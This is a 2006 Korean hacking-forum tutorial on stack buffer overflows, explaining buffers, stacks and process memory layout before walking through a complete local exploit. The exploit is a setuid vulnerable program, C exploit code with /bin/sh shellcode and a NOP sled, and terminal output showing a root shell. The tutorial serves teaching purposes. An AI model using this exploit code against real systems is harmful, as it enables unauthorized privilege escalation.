1580, 9/79 회원가입  로그인  
   blackcoder
   http://blackcoder.tingstar.net
   알기 어렵게 설명한 Buffer Overflow

http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=482 [복사]


Title : Buffer Overflow
Writter : BlackCoder(blackcoder at naver.com)
Date : 2006/2/17
irc : #studyhack

참고문헌 :
1. leon.null2root.org 의 원재아빠님의 BOF강좌
2. Smashing The Stack For Fun And Profit
3. Corezine volume 01 - Juli 1999
4. http://www.subterrain.net/~jbl/overflow-papers/buffer.txt
5. 원광대 bugbox?추은석/이종웅님의 버퍼 오버 플로우 : 해킹 관련 내용
6. 그 외 알 수 없는 작성자님의 글

1. Buffer Overflow?


BOF는 지정된 메모리 영역을 벗어나서 일어나는 버그이다.

BOF에는 2가지 종류가 있다. stack overflow 와 heap overflow 이 있다.

프로그래머가 조금만 신경을 안써도 생기는 자주 볼 수 있는 버그이다.


2. 버퍼(Buffer)란?


버퍼(Buffer)란 컴퓨터의 주기억 장치와 주변장치 사이에서

데이터를 주고받을 때 정보를 임시로 기억해두고 기억해두는 임시공간이다.

버퍼에는 2가지 종류가 있는데 stack 과 heap 으로 나눌 수 있다.

또 FILO, FIFO 라는 2가지 구조로 나눌수 있는데,

stack은 FILO구조, heap은 FIFO구조이다.


그럼 FILO와 FIFO는 무엇일까?


FILO(first-in,last-out/FILO) 즉 처음 들어간 것이 마지막에 나온다는 뜻이다.

예를 들어 동전을 쌓고 난뒤에 보면 처음 쌓은게 맨 밑에,

맨 나중에 쌓은게 맨 위에 있다.

즉, 맨 처음에 들어간 데이터가 맨 밑에 위치하고, 그 다음에 들어간 데이터가

그 위에 위치한다. 이렇게 데이터들이 쌓이게 된다. 반대로 데이터를 꺼낼때,

맨 마지막에 들어간 데이터, 즉 맨 위쪽에 있는 데이터를 꺼내야지만 아래에 있는

데이터를 꺼낼 수 있게 된다. 이런식으로 제일 처음 들어간 데이터를 꺼내기

위해서는 맨 마지막에 있는 데이터 즉 맨 위에 있는 데이터를 꺼내고 난 뒤 차례차례

꺼내야만 하는것이다.


다음으로,


FIFO(first-in,first-out/FIFO) 즉 처음 들어간 것이 처음에 나온다는 뜻이다.

방금 설명한 FILO를 이해하였다면 쉬울 것이다. 반대로 생각하면 된다.

예를 들어 개미때가 줄지어서 빨대속으로 들어간다. 시간이 지나면,

먼저 들어간 개미가 먼저 빨대밖으로 나올 것이다.

즉, FIFO는, 먼저 들어간 데이터가 먼저 나오는 데이터구조이다.


3. 프로세스(Process) 의 구조


  ##################
  #      stack     #
  ##################
  #      heap      #
  ##################
  #      data      #
  ##################
  #      text      #
  ##################


여기서 가장 중요한 stack 에 대해 알아보자.

메모리상에서 가장 위쪽에 위치한 Stack은 대부분 C 언어로 작성되어 있는

프로그램 때문에 만들어진 구역이다. C언어에서 함수를 호출할 때, 함수 안에서

사용되는 지역변수 등을 저장한다.


4. Stack Overflow


void over(char *str){
char buffer[20];
strcpy(buffer,str);
}
main()
{
int i;
char large[50];
for( i=0;i<49;i++){
large[i]='a';
}
over(large);
}


위 소스의 메모리 구조를 살펴보자면


[buffer][sfp][ret][*str]

[*str] char *str

[ret] : 원래의 함수의 주소값이 저장.

[sfp] : Stack Frame Pointer, 스택에서 현재의 위치를 나타내는 레지스터      

[buffer] : buffer[20]


그러면 이제 실제로 BOF를 어떻게 하는가?



1. 먼저 buffer을 가득 채운다.

2. Shellcode를 채우고 ret에 Shellcode의 맨 앞부분 주소를 넣는다.


[buffer   ][sfp    ][ret               ]
[shellcode][0000000][Shellcode의 adress]


여기서 Shellcode란 무엇인가?

설명이 너무 복잡하기에 다른분의 강좌를 보세요.


- 쉘코드에 대한 자료 링크

http://blog.naver.com/zsup1343/60003844606

http://blog.naver.com/zsup1343?Redirect=Log&logNo=60003618069

---------------------------------------------------------------

이제 대충 Shellcode 가 뭔지 감이 잡혔을거다.

그럼 이제 실제로 프로그램을 공격해보자.


-bash-2.05b$ cat > vul1.c
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
-bash-2.05b$ gcc -o vul1 vul1.c
-bash-2.05b$ su root
password :
-bash-2.05b# chmod +s vul1
-bash-2.05b# exit
-bash-2.05b$ cat > exp.c
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68"; // 셀코드^^

unsigned long sp(void)
{ __asm__("movl %esp, %eax");}  
// 중요한 함수, 현재 sp 레지스터의 값을 구한다.
// 이걸 이용해서 셸코드가 저장 되 있는곳을 지정할 수 있다.

int main(int argc, char *argv[])
{
        int i, offset;
        long esp, ret, *addr_ptr;
        char *buffer, *ptr;
        offset = 0; // 오프셋 0을 사용
        esp = sp(); // 현재 스택포인터를 esp에 저장
        ret = esp - offset;
        
        buffer = malloc(600); //버퍼를 위한 메모리 600바이트를 힙에 할당
        
        //전체 버퍼를 리턴주소로 채움
        ptr = buffer;
        addr_ptr = (long *) ptr;
        for(i=0; i < 600; i+=4)
        { *(addr_ptr++) = ret; }
        
        //버퍼의 처음 200바이트를 NOP명령으로 채움
        for(i=0; i < 200; i++)
        { buffer[i] = '\x90'; }
        
        //셀코드를 NOP썰매 다음에 둔다.
        ptr = buffer + 200;
        for(i=0; i < strlen(shellcode); i++)
        { *(ptr++) = shellcode[i]; }
        
        //문자열의 맨 마지막을 설정
        buffer[600-1] = 0;
        
        execl("./vul1", "vul1", buffer, 0);
        
        // 버퍼 메모리를 지움
        free(buffer);
        return 0;
}

-bash-2.05b$ gcc -o exp exp.c
-bash-2.05b$ ./exp

sh-2.05a# whoami
root
sh-2.05a#


너무 횡설수설 했네요 -_-;

이상으로 강좌를 마칩니다.

irc #studyhack 들려주세요 ㅎㅎ

  Hit : 11594     Date : 2006/02/17 06:14



    
geniusevil 어셈블리를 모르니 벅차네요.. 2006/02/17  
wjddyd41 어렵네 , 2006/02/18  
cksgus22 다음번엔 알기쉬운 강좌로... 2006/04/15  
DEUXISM 간단하넹.. 2006/04/28  
1420   C언어 기본구조[1]     괴도js
07/02 11808
1419   I. 리눅스 구조 및 일반 명령어.     괴도js
07/04 11794
1418   해킹기법? (기발하다고 해야하나,웃기다고 해야하나)[35]     whqkdnf000
07/31 11782
1417   c언어 for문      hacs98
06/15 11781
1416   [Reverse Engineering] 리버싱의 기초 - 범용 레지스터와 Assembly(Pop,Mov)     zen0c1de
07/18 11769
1415   [펌]스니핑[1]     loveaaav
03/24 11766
1414   [프로젝트]상.절.지 해킹사전//해킹공부사이트 URL리스트[5]     W.H.
10/30 11700
1413   c++ 강좌[7]     jhon55
08/12 11685
1412   ping아는 카페 해킹 고수님에게 들은 소리입니다[21]     장세만
07/14 11680
1411   [펌]해커들의 흔적지우는방법[28]     starztp
10/08 11676
1410   [C기초] 11 - 함수 매개변수로 배열을 넘기려면?      sihun1113
05/01 11632
1409   C언어(진법)[9]     whqkdnf000
02/25 11613
  알기 어렵게 설명한 Buffer Overflow[4]     blackcoder
02/17 11593
1407   개발자가 알아야할 10가지 보안팁으로 코드를 보호하자.     푸른하늘
09/01 11581
1406   메모리 덤프(블루 스크린=STOP 스크린) 코드 및 해결[1]     ROK.AF
02/09 11564
1405   왠만한사람들은다알지도모르겠지만[6]     백룡출해
03/17 11537
1404   네트워크 개념 휘어잡기 7[8]     소유
09/16 11401
1403   리눅스 명령어 한꺼번에(소유님꺼)[11]     ssakura
07/07 11243
1402   네트워크 개념 휘어잡기 6[10]     소유
09/15 11243
1401   원격종료....[39]     bsjzzz
01/02 11191
[1][2][3][4][5][6][7][8] 9 [10]..[79]

Copyright 1999-2023 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org & Wowhacker.com